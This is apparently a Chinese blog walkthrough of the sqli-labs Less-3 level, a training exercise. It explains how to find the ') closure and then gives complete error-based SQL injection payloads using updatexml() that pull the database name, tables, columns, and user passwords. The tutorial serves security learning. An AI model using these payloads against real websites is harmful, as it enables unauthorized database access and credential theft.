在上一关,我们刚攻克了思路直接、无需闭合的数字型注入(Less-2)。现在,我们将面对一个“熟悉的陌生人”:Less-3的页面乍一看和之前几乎一样,但它设置了一个巧妙的思维陷阱,让我们从无需闭合一步踏入需要闭合两个符号的复杂境地。
并且这一关另一个特别之处是:这一关不会直接返回用户名和密码,而是需要通过报错注入,在报错的时候带出我们想要的东西

这样显示,由于这一关的特性,本身不会输出用户名和密码,所以这样就代表查询成功了
2.判断闭合情况

利用1’构造出来是’1’’) LIMIT 0,1 所以这里原来应该是id=(‘$id’) LIMIT 0,1
验证一下:

证明猜测合理;
3.判断字段数:


结果可知,字段数为3;
4.因为这一关不能直接显示出用户名和密码,所以前两关的方法这一关不能用
那么这里就涉及到新的知识点– 报错注入 了
即将需要的信息通过报错的方法进行输出
利用updatexml()函数进行报错注入
/?id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) –+

为什么可以这样?
Updatexml()函数的格式应该是

此处第二个参数不符合相应的格式所以会报错, 由于构造的有database(),会执行这部分的SQL语句,所以可以查询出数据库名称
5.报错注入获得表名
/?id=1') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) –+
注:①select+from+where语句应该加上括号,保证这些只占concat()的一位
②所有table schema等等,只有from后最后一个需要加s
③不要拼写错误

直接获得表名
6.获取字段名
?id=-1') and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1) –+
注:单引号不要弄成中文的

7.获取用户名和密码
?id=-1') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from security.users where id<3),0x7e),1) –+
注:①from后加的表名是security.users
②updatexml()函数只能显示32个字符,所以要分批查,利用where的筛选功能

最后可以通过修改where后的筛选条件查询所有的用户信息
到此这一关就完成了
这一关与的不同就是双字符的闭合方式和报错注入,也是和前几关方法差不多,不过是拼接的SQL语句是在报错中
后面几步的查询都比较麻烦,要注意不要少些或者漏掉引括号,concat()内的SQL语句要用括号单独隔出来



